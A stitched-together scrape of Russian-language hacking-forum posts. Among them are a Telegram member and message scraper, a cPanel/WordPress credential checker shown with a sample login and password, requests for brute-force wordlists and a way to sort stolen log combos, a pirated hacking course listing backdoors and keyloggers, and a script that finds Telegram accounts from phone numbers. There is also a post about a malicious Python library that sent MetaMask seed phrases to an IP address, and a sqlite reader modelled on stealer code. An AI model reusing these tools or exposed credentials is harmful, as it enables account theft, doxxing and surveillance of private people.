username = user.username if user.username else ""
first_name = user.first_name if user.first_name else ""
last_name = user.last_name if user.last_name else ""
name = (first_name + ' ' + last_name).strip()
writer.writerow([username, name, target_group.title, user.id])
Explanation:
9. Scraping Group Messages
Python:Copy to clipboard
offset_id = 0
limit = 100
all_messages = []
total_messages = 0
total_count_limit = 0
while True:
history = client(GetHistoryRequest(
peer=target_group,
offset_id=offset_id,
offset_date=None,
add_offset=0,
limit=limit,
max_id=0,
min_id=0,
hash=0
))
if not history.messages:
break
messages = history.messages
for message in messages:
all_messages.append(message.message)
offset_id = messages[len(messages) - 1].id
Explanation:
_
10. Saving Messages to CSV_
Python:Copy to clipboard
print("Saving messages to file...")
with open("chats.csv", "w", encoding="UTF-8") as f:
writer = csv.writer(f, delimiter=",", lineterminator="\n")
for message in all_messages:
writer.writerow([message])
Explanation:
at the end
summery:
with understanding the functionality of this script , you will understanding
how Telethon interacts with the Telegram API to fetch group members and
messages, and store them in CSV files.
be a telethon master.
gather information from telegram chats and groups .
hope you use it in a usefull way .
main file will be attached.
if you want to donate this writer{LC} you can use :
USDT -> 0x066c519333AeC9dd0623e33C5ea9f84785910E96
BTC -> bc1q0c2cc7gpsymsr8ey5pt2aujhq7cgcg4q76h9ru
Enjoy!
Это больше похоже на вопрос, тем не менее...
Какие методики используете вы во время написания кода? Может у вас есть какие-
нибудь категорические правила, которых вы придерживаетесь?
Как вы справляетесь с нагрузкой и как вы оптимизируете свой код? Как вы в
конце концов планируете свой код?
только не раскрывай все секреты
Cpanel and Wordpress Checker in Python
Cpanel list format :
https://janob.ly:2096|bashir@janob.ly|Basheer@1973
or url|mailoruser|pass
Wordpress list format : https://test-test.com/wp-login.php#username@password
Download: https://anonfiles.com/L0g6S5p7zd/checkers_zip
pass: shuja1337
В свободное время делаю словарики для брута всего подряд, насобирал пару файлов с размером больше 100ГБ.Стандартными средствами Linux почистить проблематично такой объем.Мб на пайтоне есть у кого скрипт для удаления дублей с таких больших файлов, буду признателен.Спасибо.
**Вы научитесь создавать телеграм ботов любой сложности используя Pyrogram с нуля
Описание
О Pyrogram**
Это современный Python фреймворк, который позволяет создавать Telegram ботов.
Он не предоставляет возможность писать ботов, которые создаются через
BotFather как это позволяет сделать Aiogram. Pyrogram же позволяет управлять
аккаунтами Telegram, тем самым вы можете выполнять абсолютно любые действия,
которые может выполнить любой пользователь, тем самым это не накладывает на
вас никаких ограничений.
Что я получу после прохождения курса?
- Вы без труда сможете писать парсеры Telegram чатов и каналов
- Создавать каналы, чаты в автоматическом режиме
- Делать реалистичные автоответчики
- Делать рассылку сообщений по чатам и пользователям
- Создавать реалистичных ботов с определенной логикой работы
- Эмулировать устройство и использовать прокси во время работы
- Работать с пакетной структурой и плагинами
- И выполнять абсолютно всё, что может сделать пользователь Telegram
Структура курса
1. Что такое Pyrogram и какие возможности предоставляет
2. Установка и авторизация. Добываем api_id, api_hash
3. Отправка и обработка сообщений. Работа с декораторами Pyrogram
4. Методы для работы с сообщениями
5. Методы для работы с чатами
6. Методы для работы с пользователями, каналами, группами
7. Работа с фильтрами. Фильтрация входных данных
8. Создание собственных фильтров
9. Использование config.ini для настройки аккаунтов
10. Заменяем параметры устройства. Эмуляция устройства
11. Плагины и подключение обработчиков в пакетной структуре
12. Стилизация текста. Использование HTML, Markdown
13. Работа с прокси. Используем IPv4 с авторизацией
14. Планирование задач. Используем ApsCheduler
15. Обновления и обработка. Работа с группами
16. Финальный проект, реализация автоответчика
17. Генерация каналов телеграм с аватарками и invite link
Кому подойдет этот курс?
Абсолютно любым Python разработчикам, которые знают основы языка и хотят
научиться работать с Pyrogram и создавать реалистичных телеграм ботов.
You must have at least 7 reaction(s) to view the content.
Здрасте, не так давно угнали мои кошельки с балансом в 70$ стал разбираться вирусов на компе не обнаружил оказалось что угнали через библиотеку питона:
Python:Copy to clipboard
from hashDecrypt import hdec
def decrypt_vault(password, vault):
w = hdec()
obj = w.decrypt(password, vault)
return obj
VAULT= '{"data":'
print(decrypt_vault("12345", VAULT)['result'][0]['data']['mnemonic'])
Библиотека из хеша метамаска по паролю восстанавливает сид фразу вот именно
свой хеш с паролем я туда впихнул и сид фраза уплыла (
Средства автовыводом уходят на этот адрес:
https://etherscan.io/address/0x444d591143da6cb038a21b8f7602283bf5bddecc
Отснифферил выполнение данного скрипта с левым хешем вот такой интересный пакет выловил:
Декодировал в base64 данные от Wareshark:
Code:Copy to clipboard
W3sidHlwZSI6IkhEIEtleSBUcmVlIiwiZGF0YSI6eyJtbmVtb25pYyI6InRyYXZlbCBicmlzayBiZWNhdXNlIHdlZWtlbmQgdG9ybmFkbyBwbGF5IHN0b25lIGZyZXF1ZW50IGJveSBhZ3JlZSBsZW9wYXJkIG1vcm5pbmciLCJudW1iZXJPZkFjY291bnRzIjoxLCJoZFBhdGgiOiJtLzQ0Jy82MCcvMCcvMCJ9fSx7InR5cGUiOiJMZWRnZXIgSGFyZHdhcmUiLCJkYXRhIjp7ImhkUGF0aCI6Im0vNDQnLzYwJy8wJyIsImFjY291bnRzIjpbXSwiYWNjb3VudERldGFpbHMiOnt9LCJicmlkZ2VVcmwiOiJodHRwczovL21ldGFtYXNrLmdpdGh1Yi5pby9ldGgtbGVkZ2VyLWJyaWRnZS1rZXlyaW5nIiwiaW1wbGVtZW50RnVsbEJJUDQ0IjpmYWxzZX19XQ==
Получил это:
Code:Copy to clipboard
[{"type":"HD Key Tree","data":{"mnemonic":"travel brisk because weekend tornado play stone frequent boy agree leopard morning","numberOfAccounts":1,"hdPath":"m/44'/60'/0'/0"}},{"type":"Ledger Hardware","data":{"hdPath":"m/44'/60'/0'","accounts":[],"accountDetails":{},"bridgeUrl":"https://metamask.github.io/eth-ledger-bridge-keyring","implementFullBIP44":false}}]
Такие вот данные улетают на ip 65.109.70.235 вот вам и статьи про брут Метамасков =)
Спидран по реверсу APK (Python Kivy) за минуту
погнали
1. Наша цель antichrist.apk (смс бомбер)
2. Меняем .apk на .zip и залетаем в папку assets
3. Находим там private.mp3 (это gzip архив лол)
4. Меняем .mp3 на .gz и повторяем это ещё раз
5. Получаем .pyc файлы (скомпилированный байт-код питона)
оо повезло повезло
6. Пишем в cmd "uncompyle6 -o data.py data.pyc" (Повторяем для каждого .pyc
файла. Но я не буду)
Это надо что-бы байт-код преобразовать в питоновский код
Для установки uncompyle пишите в cmd "pip install uncompyle6"
ы
Задача следующая. Из массива логов нужно вытащить по маске url лог и пасс в
формате
url:log:pass
Так же по ходу чека нужно,сортировать строки по гео лога.
На мой взгляд крайне полезный курс, сам его приобретал и прошел на английском.
Автор: Zaid Sabih (ZSecurity)
Spoiler: О чем курс?
Добро пожаловать в отличный курс, в котором вы одновременно научитесь и программировать на Python’e и взламывать системы. Курс разработан таким образом, что не требуются никакие предварительные знания. После прохождения курса ваш уровень владения темой будет выше среднего, и вы сможете использовать оба полученных навыка. Вы научитесь писать свои собственные программы для взлома компьютеров на Python’e, мы напишем программы, которые реальные хакеры используют для взлома систем, но это еще не все. Вы так же сможете использовать полученные навыки программирования на Python’e для написания любых программ, даже тех, которые никак не связаны со взломом систем.
В этом курсе огромный акцент идет на практику, однако мы не жертвуем теорией. Мы начнем с рассмотрения базовых концептов, познакомимся с тем, что такое этичных взлом и что из себя представляет язык программирования Python, установим необходимые программы и сразу после этого мы приступим к программированию. С этого момента вы начнете учиться непосредственно на примерах, мы будем писать хакерские программы, все наши программы будут довольно интересными, мы не будем тратить время на скучные типовые задания, которых довольно много в различных учебных пособиях.
Курс разделен по целям на несколько разделов. Обычно цель – взломать определенную систему. Мы начнем с изучения того, как работает система, ее слабостей. Мы будем изучать программирование на Python’e во время практики, по одной теме за раз, таким образом к концу курса в вашем «портфеле» будет довольно много самостоятельно написанных хакерских программ. Это будут бэкдоры, килоггеры, программы для угона учетных данных, инструменты для взлома сетей, инструменты для взлома веб-сайтов и многое другое. Помимо всего этого у вас будет глубокое понимание того, как работают компьютерные системы, как моделировать проблемы, как подходить к разработке алгоритма для решения проблем и как реализовать задуманное с помощью Python’a.
В этом курсе вы научитесь писать программы на Python’e и изучите, что такое этичный взлом и как тестировать системы на проникновение.
Spoiler: Список затронутых тем:
Темы, посвященные программированию:
Пишем программы на Python 2 и Python 3
Используем модули и библиотеки
Переменные, типы и т.д.
Обработка данных введенных пользователем
Чтение и запись файлов
Функции
Циклы
Структуры данных
Регулярные выражения
Рекурсия
Обработка потоков
Объектно-ориентированное программирование
Работа с пакетами средствами scapy
Netfilterqueue
Программирование сокетов
Работа со строками
Исключения
Сериализация
Компилирование программ в бинарные файлы
Отправка и получение HTTP запросов
Парсинг HTML
+ многое другое!
Темы, посвященные взлому:
Основы взлома сетей / тестирование их на проникновение
Смена МАС-Адреса и обход фильтрации
Маппинг сети
ARP-Spoofing – Перенаправление потока пакетов в сети
DNS-Spoofing – Перенаправление запросов идущих к одному веб-сайту на другой.
Слежка за любым пользователем в сети – узнаем логины, пароли, посещенные сайты
и тд.
Инъекция кода в страницы, которые посещают другие пользователи, подключенные к
той же самой сети
Подмена файлов на лету во время их загрузки пользователями, подключенными к
той же самой сети
Определение атак ARP-Spoofing
Обход HTTPS
Создание вредоносных файлов для Windows, OS X и Linux
Создание троянов для Windows, OS X и Linux
Взлом Windows, OS X и Linux с помощью кастомного бэкдора
Обход антивирусных программ
Угоняем учетные данные с помощью фейкового запроса учетных данных
Показываем фейковые обновления
Шпионим за тем, что печатают пользователи Windows или OS X с помощью
самописного килоггера
Изучаем основы взлома веб-сайтов / тестирование их на проникновение
Ищем поддомены
Ищем скрытые файлы и директории веб-сайта
Запускаем атаку по словарю, стараемся подобрать пароль
Ищем и используем XSS-уязвимости
Ищем слабые места сайтов с помощью нашего самописного сканера уязвимостей
Программы, которые вы напишите в этом курсе:
mac_changer - замена MAC-адреса
network_scanner – Сканирование сети и поиск всех IP и MAC-адресов подключенных
к сети
arp_spoofer – запуск атаки ARP-spoofing, с помощью которой производится
перенаправление потока пакетов благодаря чему мы можем перехватывать данные
packet_sniffer – фильтрация перехваченных данных, поиск логинов, паролей,
адресов посещенных страниц и т.д.
dns_spoofer - перенаправление DNS-запросов
file_interceptor – подмена перехваченных файлов на любые другие
code_injector – инъекция кода в перехваченные HTML-страницы
arpspoof_detector – обнаружение атак ARP-spoofing
execute_command payload – запуск системных команд на компьютере, на котором
было запущено это приложение
execute_and_report payload – запуск системных команд и отправка отчетов об
этом на электронную почту.
download_and_execute payload – загружает файл и запускает его на целевой
системе.
download_execute_and_report payload – загружает файл, запускает его и
отправляет отчет о результате на электронную почту.
reverse_backdoor – предоставляет удаленный контроль над системой, на которой
он был запущен. Позволяет получить доступ к файловой системе, выполнять
системные команды, скачивать и загружать файлы.
keylogger – записывает нажатия клавиш и отправляет их на электронную почту.
crawler – ищет скрытые древа каталогов(папки) целевого веб-сайта.
discover_subdomains – ищет поддомены целевого сайта.
spider – полноценное исследование целевого веб сайта. Поиск всех файлов, папок
и ссылок.
guess_login – атакует по словарю, старается подобрать логин и пароль
vulnerability_scanner – сканирует целевой сайт на наличие уязвимостей и выдает
отчет обо всем, что нашел
Во время написания приложений, вы изучите следующие темы:
Как настроить окружение для безопасного тестирования на проникновение
Как установить Kali Linux и Window в качестве виртуальных машин внутри ЛЮБОЙ
системы
Основы Linux
Основы работы с Linux-терминалом
Как работают сети
Как клиенты общаются друг с другом посредством сети
Address Resolution Protocol (ARP) - протокол определения адреса
Сетевые слои
Domain Name System (DNS) - система доменных имён
Hypertext Transfer Protocol (HTTP) - протокол транспортирования гипертекста
HTTPS
Как работают антивирусные программы
Сокеты
Подключение устройств через TCP
Передача данных через TCP
Как работают веб-сайты
GET и POST-запросы
Ссыль на торрент:
Hidden content for authorized users.
http://nnmclub.to/forum/download.php?id=1082470
В оригинале не хватает одной лекции вот она на меге:
Hidden content for authorized users.
![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- folder.png&hash=63d46597e69ae4a51888711a37d2bf45&return_error=1)
](https://mega.nz/folder/xc5lUQxB#yefvvxQqCb5vgBZrDd24Mg)
MEGA provides free cloud storage with convenient and powerful always-on privacy. Claim your free 50GB now!
mega.nz
От себя: Kali Linux Customized by ZSecurity (2020), все отличия от оригинальной Кали описаны по ссылке, в основном поправлены баги с дравами и добавлены выпеленные тулзы вроде BeEF:
Hidden content for authorized users.
custom-kali/)
![zsecurity.org](/proxy.php?image=https%3A%2F%2Fzsecurity.org%2Fwp- content%2Fuploads%2F2017%2F11%2Fcropped-z- icon-32x32.png&hash=525c2693e056ffd640bc2457ef38abab&return_error=1) zsecurity.org
**Программирование на Python с Нуля до Гуру (2020)
Автор:** Михаил Русаков
Название: Программирование на Python с Нуля до Гуру (2020)
Курс обучит вас следующему:
Курс состоит из 6 разделов
Раздел 1 - Введение
Раздел 2 - Основы программирования на Python
Раздел 3 - Стандартные функции в Python
Раздел 4 - Объектно-ориентированное программирование на Python
Раздел 5 - Создание программ с GUI
Раздел 6 - Создание клиент-серверных приложений
Что Вы получаете:
Какие знания требуются для прохождения курса?
Никаких специальных знаний не требуется. Только базовые навыки работы с
компьютером: создание файлов/папок, создание/извлечение архивов, уметь
печатать текст.
Скачать: Hidden content for authorized users. https://cloud.mail.ru/public/25NX/2WNwPwyD9
Поиск телеги по номеру телефона с помощью user_api, успех в случае если у
таргета доступен поиск по номеру для всех (по умолчанию).
В скрипте нужно заменить значения в строке 10, 11 и 12 (и 61 соответственно).
Присутствует редактор только для UA и RU номеров.
Python:Copy to clipboard
from telethon import TelegramClient, events, sync
from telethon.tl.types import InputPhoneContact
from telethon import functions
import phonenumbers
class TGSearch(object):
def __init__(self):
####### YOUR DATA ###############
self.api_id = 1234567
self.api_hash = '*'
self.my_phone = '*YOUR PHONE NUM*'
################################
self.client = TelegramClient(self.my_phone, self.api_id, self.api_hash)
self.client.connect()
def numVCheck(self, t_phone):
if t_phone[0] != '+':
if t_phone[0] == '0':
t_phone = '+38' + t_phone
if t_phone[0:3] == '380' or t_phone[0:3] == '375':
t_phone = '+' + t_phone
if t_phone[0] == '8' or t_phone[0] == '7' or t_phone[0] == '9':
t_phone = '+7' + t_phone[1:]
for match in phonenumbers.PhoneNumberMatcher(t_phone, "RU"):
t_phone = phonenumbers.format_number(match.number, phonenumbers.PhoneNumberFormat.E164)
return t_phone
def check(self, t_phone):
try:
contact = InputPhoneContact(client_id=0, phone=t_phone, first_name="", last_name="")
contacts = self.client(functions.contacts.ImportContactsRequest([contact]))
user_id = contacts.to_dict()['users'][0]['id']
print('user ID =', user_id)
dell = self.client(functions.contacts.DeleteContactsRequest(id=[user_id]))
except:
user_id = 'error'
return user_id
def run(self, t_phone):
t_phone = t_phone
t_phone = self.numVCheck(t_phone)
if not self.client.is_user_authorized():
self.client.send_code_request(self.my_phone)
self.client.sign_in(self.my_phone, input('Enter the code: '))
user_id = self.check(t_phone)
if user_id != 'error':
try:
full = self.client(functions.users.GetFullUserRequest(id=user_id))
if full.user.username != None:
print(f'Name: @{full.user.username}')
print(f'First_name: {full.user.first_name}')
except:
print('Ошибка получения данных')
else:
print('Данных нету')
if __name__ == '__main__':
target_phone = '*TARGET PHONE*'
print('#' * 30)
TGSearch().run(target_phone)
print('#' * 30)
0x00 Предыстория
Ради уменьшения размера бинарника на что только не пойдешь. Имеет ли это смысл
на текущий момент можно спорить много, но сейчас не об этом.
Бывает так что программе нужно прочитать записи из базы данных sqlite3,
казалось бы, что сложного, используем официальный код от разработчиков на С,
либо байдинги и адаптации под другие языки, но отпугивает одно - плюс 500кб к
бинарю или около того. И если адепта байтодрочерства это не устраивает, то
приходится идти на некоторые ухищерения. Пример такого мы можем найти в сорцах
старой доброй Pony. Автор реализовал свой движок читалки sqlite3 баз. Линк -
https://github.com/nyx0/Pony/blob/master/source/PonySrc/PasswordModules.asm#L6976
. Ассемблер это конечно хорошо, но с переносимостью проблемы, к тому же судя
по коду читалка реализована не полностью.
Есть более интересный пример, это старый код на VisualBasic. Линк - https://github.com/mwsrc/PlasmaRAT/blob/master/Stub/Misc/SQLite.vb. В те далёкие времена VB был в моде, например 9 из 10 крипторов были на VB. Пока мода не перешла на C#. И тогда этот код был толи переконвертирован, толи переписан на любимый язык начинающего мыловара. Линк - <https://github.com/swagkarna/Echelon- Stealer/blob/master/Stealer/Browsers/Chromium/SqlHandler.cs>. Наверно шутки ради в конце-концов сорец был переписан и на C - <https://github.com/H4xl0r/Necro- Stealer/blob/master/NecroStealer/NecroSteal/SqlHandler.cpp>.
Проблемы этих читалок в том, что они не полностью умеют читать базы, в реализациях много допущений. По этому я захотел подробнее изучить внутреннее устройсто sqlite3 и описать пошагово и на пальцах, из чего состоит база, как ее парсить и в какой последовательности. Свою реализацию прототипа парсера- читалки я набросаю на python3.
0x01 Начинаем разбираться
Откуда брать информацию, кроме как не с офф-сайта sqlite3. Разработчиками был описан формат файла по моему мнению очень сухо и сложно, но других вариантов нет: отправная точка - https://www.sqlite.org/fileformat2.html, плюс к этому сами сорцы https://github.com/sqlite/sqlite.
И так, из чего состоит файл БД? Как и многие другие форматы файлов, первым в структуре идет заголовок. Заголовок в sqlite3 занимает 100 байтов в начале файла
Заголовок sqlite3 в hex-редакторе
Для чтения нам нужны не все, опишем нужные:
Все числа записаны в формате big-endian - то есть прямой порядок байтов.
По немногу начнем писать парсилку, оформим как класс:
Python:Copy to clipboard
class TinySQlite:
def __init__(self):
self.buffer = None
self.Encoding = None
self.PageSize = None
Файл базы будем читать сразу весь в буфер, также прочитаем нужные нам значения из заголовка:
Python:Copy to clipboard
def loadDB(self, path):
f = open(path, 'rb')
self.buffer = f.read()
f.close()
self.Encoding = self.unp('>I', 56)
self.PageSize = self.unp('>H', 16)
self.PageReservedSpace = self.unp('>B', 20)
if self.PageSize == 1:
self.PageSize = 65536
def unp(self, fmt, offset):
return struct.unpack_from(fmt, self.buffer, offset)[0]
Вспомогательная функция unp(self, fmt, offset)
- извлекает значение из
буфера в нужном нам представлении.
Подробнее про размер страницы: размер страницы должен быть степенью двойки между 512 и 65536. Это число записано в заголовке, но число 65536 не поместится в два байта, по этому если там единица, то воспринимаем её как 65536.
0x02 Страницы и ячейки
Теперь про страницы. Файл условно поделен на равные блоки - страницы. По сути
они являются элементами бинарного дерева (BTree), формат sqlite3 построен на
этой концепции.
У страницы тоже есть заголовок, он занимает либо 8 либо 12 байт в начале,
размер зависит от типа страницы. Тип страницы - первый байт заголовка.
0x02 - interior index b-tree page.
0x05 - interior table b-tree page.
0x0a - leaf index b-tree page.
0x0d - leaf table b-tree page.
По мимо вышеперечисленных есть еще так называемые страницы переполнения, они
не имеют заголовка, но о них чуть позже.
Забегая на перед - данные хранятся в ячейках. Ячейки содержаться на страницах
BTree.
Далее по иерархии идут ячейки, которые хранятся на страницах бинарного дерева.
И формат записи ячеек зависит от того, на какой странице они находятся.
Прежде чем описать формат ячеек нужно объяснить пару моментов.
В sqlite3 используются числа с переменной длинной, называются varint. Они
нужны чтоб экономить место на страницах, принцип кодировки похож на то как
кодируются символы в UTF-8. Varint занимает от 1 до 9 байт и может кодировать
числа до 64 бит. Функция которая читает varint и возвращает закодированное
число и занимаемое им место:
Python:Copy to clipboard
def readVarInt(self, stream, offset=0):
ret = 0
chr = struct.unpack(">B", stream[offset:offset+1] )[0]
of = 1
while(chr & 0x80 and of < 9):
ret = ret << 7
ret += chr & 0x7F
chr = struct.unpack(">B", stream[offset+of:offset+of+1] )[0]
of += 1
ret = ret << 7
ret += chr
return ret, of
И второе: далее будет использоваться термин payload. Payload - полезная нагрузка, это непосредственно закодированная строка с столбцами, данные из таблиц БД
Вернемся к ячейкам. В зависимости от типа страницы ячейка состоит из:
0x02 - interior index b-tree page
0x05 - interior table b-tree page
*ячейки на этой странице не содержат payload, а содержат только номера дочерних страниц
0x0a - leaf index b-tree page
0x0d - leaf table b-tree page
Теперь вернемся к страницам, формат заголовка такой:
значения по смещениям 1, 5 и 7 нам для чтения БД не нужны
Сразу после заголовка идут N двухбайтовых чисел, которые являются смещениями к ячейкам, где N - количество ячеек на странице
Алгоритм чтения ячеек со страницы следующий:
1 - получаем количество ячеек на странице
2 - крутим цикл от 0 до N-1 в котором читаем смещения к ячейкам
2.1 - читаем ячейку по смещению
2.2 - если interior страница, то достаем из ячейки номер дочерней страницы и парсим ее
3 - в случае interior страниц читаем номер последней страницы с дочерними элементами, и парсим эту страницу
Про переполнения и страницы переполнения.
Если payload не помещается полностью в ячейку, то та часть которая не
помещается записывается на одну или несколько страниц переполнений. Страницы
переполнения образуют связный список. Формат страницы переполнения простой -
первые 4 байта это номер следующей страницы в списке, остальное payload.
Объясню алгоритм на примере:
payload не поместился в ячейке полностью, поместилась только начальная часть,
из ячейки считываем эту часть, далее перемещаемся на страницу переполнений,
номер которой указан в ячейке, считываем оттуда остальное, если номер
следующей страницы не равен 0, то переходим на следующую страницу и так далее
по списку, пока номер не будет 0.
Заголовок страницы leaf table b-tree page
Пора разбавить текст кодом, реализация прохода страницы:
Python:Copy to clipboard
def readTable(self, pagenum):
rows = []
offset = self.pageNumToOffset(pagenum)
hdr = 0
if pagenum == 1:
hdr = 100
nCell = self.unp('>H', offset+hdr+3)
pageTypeFlag = self.buffer[offset+hdr]
if pageTypeFlag in [2, 5]:
cellstart = offset+hdr+12
for i in range(0, nCell):
ofst = self.unp('>H', cellstart+(i*2))
child = self.unp('>I',offset + ofst)
rows = rows + self.readTable(child)
if pageTypeFlag == 2:
rows.append(self.dumpCell(self.readCell(offset + ofst, pageTypeFlag)))
child = self.unp('>I', cellstart-4)
rows = rows + self.readTable(child)
if pageTypeFlag in [10, 13]:
cellstart = offset+hdr+8
for i in range(0, nCell):
ofst = self.unp('>H', cellstart+(i*2))
cellbuffer = self.readCell(offset + ofst, pageTypeFlag)
rows.append(self.dumpCell(cellbuffer))
return rows
Получение смещения до страницы по ее номеру:
Python:Copy to clipboard
def pageNumToOffset(self, pagenum):
return (pagenum - 1) * self.PageSize
Чтение полезной нагрузки из ячейки по смещению:
Python:Copy to clipboard
def readCell(self, offset, pageTypeFlag):
if pageTypeFlag == 2:
offset = offset + 4
recordsize, vi = self.readVarInt(self.buffer, offset)
rowid, vi2 = 0, 0
if pageTypeFlag == 13:
rowid, vi2 = self.readVarInt(self.buffer, offset+vi)
onOverflow = self.getOnOverflow(recordsize, pageTypeFlag)
onTree = recordsize - onOverflow
buffer = self.buffer[offset+vi+vi2:offset+onTree+vi+vi2]
if onOverflow == 0:
return buffer
if onOverflow > 0:
overflowpagenum = self.unp('>I', offset+onTree+vi+vi2)
buffer = buffer + self.readOverflow(overflowpagenum, onOverflow)
return buffer
Проход списка страниц переполнений:
Python:Copy to clipboard
def readOverflow(self, pagenum, bytestoread):
buffer = b""
readflag = True
while readflag == True:
offset = self.pageNumToOffset(pagenum)
nextpage = self.unp('>I', offset)
sizeofpayloadonpage = self.PageSize-self.PageReservedSpace-4
if sizeofpayloadonpage >= bytestoread:
buffer = buffer + self.buffer[offset+4: offset+4+bytestoread]
if nextpage == 0:
readflag = False
else:
pagenum = nextpage
buffer = buffer + self.buffer[offset+4: offset+4+sizeofpayloadonpage]
bytestoread = bytestoread - sizeofpayloadonpage
return buffer
Еще немного про переполнения, какая часть полезной нагрузки запишется в ячейку, а какая часть уйдет на страницы переполнения зависит от типа страницы и расчитывается по определенной формуле. Функция, реализующая этот расчет:
Python:Copy to clipboard
def getOnOverflow(self, recordsize, pageTypeFlag):
U = self.PageSize - self.PageReservedSpace
X = U - 35
if pageTypeFlag == 10 or pageTypeFlag == 2:
X = ((U-12)*64//255)-23
P = recordsize
M = ((U-12) * 32//255) - 23
K = M + ((P-M) % (U-4))
onOverflow = 0
if P>X and K<=X:
onOverflow = P-K
if P>X and K>X:
onOverflow = P-M
return onOverflow
Последнее про страницы, первая страница имеет одну особенность. В нее включен 100 байтовый заголовок самой базы данных, по этому заголовок самой страницы будет смещен на 100 байт - это необходимо учитывать.
0x03 Полезная нагрузка
В предыдущей главе описаны проход страницы и чтение из ее ячеек полезной
нагрузки. Теперь подробнее про payload.
В payload закодированы данные, которые являются ячейками нужных нам таблиц.
Разберемся из чего он состоит.
Как обычно в начале заголовок, после заголовка тело. Заголовок состоит из
varint`ов, первый varint это размер заголовка, остальные - так называемые
serial types. Тело же состоит из записанных друг за другом значений.
По серийному типу можно узнать тип и размер ячейки в теле.
Серийные типы:
Серийный тип| Размер в байтах| Значение в ячейке
---|---|---
0| 0| Null
1| 1| Integer, 1 байт
2| 2| Integer, 2 байта
3| 3| Integer, 3 байта
4| 4| Integer, 4 байта
5| 6| Integer, 6 байтов
6| 8| Integer, 8 байтов
7| 8| Double, число с плавующей запятой, 8 байтов
8| 0| Число 0
9| 0| Число 1
N≥12 и при этом четное| (N-12)/2| Произвольные бинарные данные, BLOB
N≥13 и при этом нечетное| (N-13)/2| Текстовая строка
Реализация чтения данных из полезной нагрузки:
Python:Copy to clipboard
def dumpCell(self, cellbuffer):
RecordHeaderSize, vi3 = self.readVarInt(cellbuffer, 0)
x = RecordHeaderSize - vi3
ofc = vi3
offsettodata = RecordHeaderSize
items = []
while x > 0:
serialtype, vi4 = self.readVarInt(cellbuffer, ofc)
item = self.readValueFromCellbuffer(cellbuffer, serialtype, offsettodata)
items.append(item)
ofc = ofc + vi4
x = x - vi4
offsettodata = offsettodata + self.contentSizeBySerialType(serialtype)
return items
Преобразование данных в нужный формат:
Python:Copy to clipboard
def readValueFromCellbuffer(self, cellbuffer, stype, offset):
if stype == 0:
return None
if stype == 8:
return 0
if stype == 9:
return 1
if stype in [1,2,3,4,5,6]:
return int.from_bytes(cellbuffer[offset: offset+self.contentSizeBySerialType(stype)], "big")
if stype == 7:
return struct.unpack('>d', cellbuffer[offset: offset+self.contentSizeBySerialType(stype)] )[0]
if stype >= 12 and IsEven(stype):
return cellbuffer[offset: offset+self.contentSizeBySerialType(stype)]
if stype >= 13 and IsOdd(stype):
if self.Encoding == 1:
return cellbuffer[offset: offset+self.contentSizeBySerialType(stype)].decode("utf-8")
if self.Encoding == 2:
return cellbuffer[offset: offset+self.contentSizeBySerialType(stype)].decode("utf-16le")
if self.Encoding == 3:
return cellbuffer[offset: offset+self.contentSizeBySerialType(stype)].decode("utf-16be")
0x04 Master table
Информация о том, сколько таблиц в базе, где они расположены, какие имеют поля и т.д. находится в главной таблице, она же master table и sqlite_master. Эта таблица размещается всегда на первой странице базы данных. Таблица имеет следующие поля:
Итого алгоритм для чтения нужной нам таблицы следующий:
0x05 Важные моменты
Допустим, таблица создана следующим sql-запросом:
CREATE TABLE mytable (id INTEGER PRIMARY KEY, data TEXT)
Когда мы распарсим страницы, то в поле id у нас будет NULL. Все потому
что первичный ключ в payload будет опущен, его роль примет на себя rowid
из ячейки. Такая таблица будет размещаться на страницах interior table b-tree
page и leaf table b-tree page.
Если же данная таблица будет создана таким запросом
CREATE TABLE mytable (id INTEGER PRIMARY KEY, data TEXT) WITHOUT ROWID
, то с полями будет все нормально, но таблица будет размещаться уже на
interior index b-tree page и leaf index b-tree page.
0x06 Заключение
По итогу формат формат sqlite3 оказался не слишком сложным. В отличие от существующих решений были реализованы чтение индексных страниц и чтение страниц переполнений. Возможно после прочтения статьи у читателя остануться пробелы, по этому ниже будет опубликован полный код класса, это примерно 200 строк кода, благодаря тому что питоновский код очень понятный и простой - можно изучить формат базы прям по коду. Скрипт читает базу и выводит значения из всех таблиц, иными словами дампит базу, значения пишутся в кортеж, таблица представляется как кортеж кортежей.
Полный исходный код:
Python:Copy to clipboard
# -*- coding: utf-8 -*-
# !/bin/python
import os
import struct
def IsEven(a):
return a % 2 == 0
def IsOdd(a):
return not IsEven(a)
class TinySQlite:
def __init__(self):
self.buffer = None
self.Encoding = None
self.PageSize = None
def loadDB(self, path):
f = open(path, 'rb')
self.buffer = f.read()
f.close()
self.Encoding = self.unp('>I', 56)
self.PageSize = self.unp('>H', 16)
self.PageReservedSpace = self.unp('>B', 20)
if self.PageSize == 1:
self.PageSize = 65536
def unp(self, fmt, offset):
return struct.unpack_from(fmt, self.buffer, offset)[0]
def readVarInt(self, stream, offset=0):
ret = 0
chr = struct.unpack(">B", stream[offset:offset+1] )[0]
of = 1
while(chr & 0x80 and of < 9):
ret = ret << 7
ret += chr & 0x7F
chr = struct.unpack(">B", stream[offset+of:offset+of+1] )[0]
of += 1
ret = ret << 7
ret += chr
return ret, of
def pageNumToOffset(self, pagenum):
return (pagenum - 1) * self.PageSize
def contentSizeBySerialType(self, stype):
if stype <= 4:
return stype
if stype == 5:
return 6
if stype == 6 or stype == 7:
return 8
if stype == 8 or stype == 9:
return 0
if stype >= 12 and IsEven(stype):
return (stype-12)//2
if stype >= 13 and IsOdd(stype):
return (stype-13)//2
def readValueFromCellbuffer(self, cellbuffer, stype, offset):
if stype == 0:
return None
if stype == 8:
return 0
if stype == 9:
return 1
if stype in [1,2,3,4,5,6]:
return int.from_bytes(cellbuffer[offset: offset+self.contentSizeBySerialType(stype)], "big")
if stype == 7:
return struct.unpack('>d', cellbuffer[offset: offset+self.contentSizeBySerialType(stype)] )[0]
if stype >= 12 and IsEven(stype):
return cellbuffer[offset: offset+self.contentSizeBySerialType(stype)]
if stype >= 13 and IsOdd(stype):
if self.Encoding == 1:
return cellbuffer[offset: offset+self.contentSizeBySerialType(stype)].decode("utf-8")
if self.Encoding == 2:
return cellbuffer[offset: offset+self.contentSizeBySerialType(stype)].decode("utf-16le")
if self.Encoding == 3:
return cellbuffer[offset: offset+self.contentSizeBySerialType(stype)].decode("utf-16be")
def readOverflow(self, pagenum, bytestoread):
buffer = b""
readflag = True
while readflag == True:
offset = self.pageNumToOffset(pagenum)
nextpage = self.unp('>I', offset)
sizeofpayloadonpage = self.PageSize-self.PageReservedSpace-4
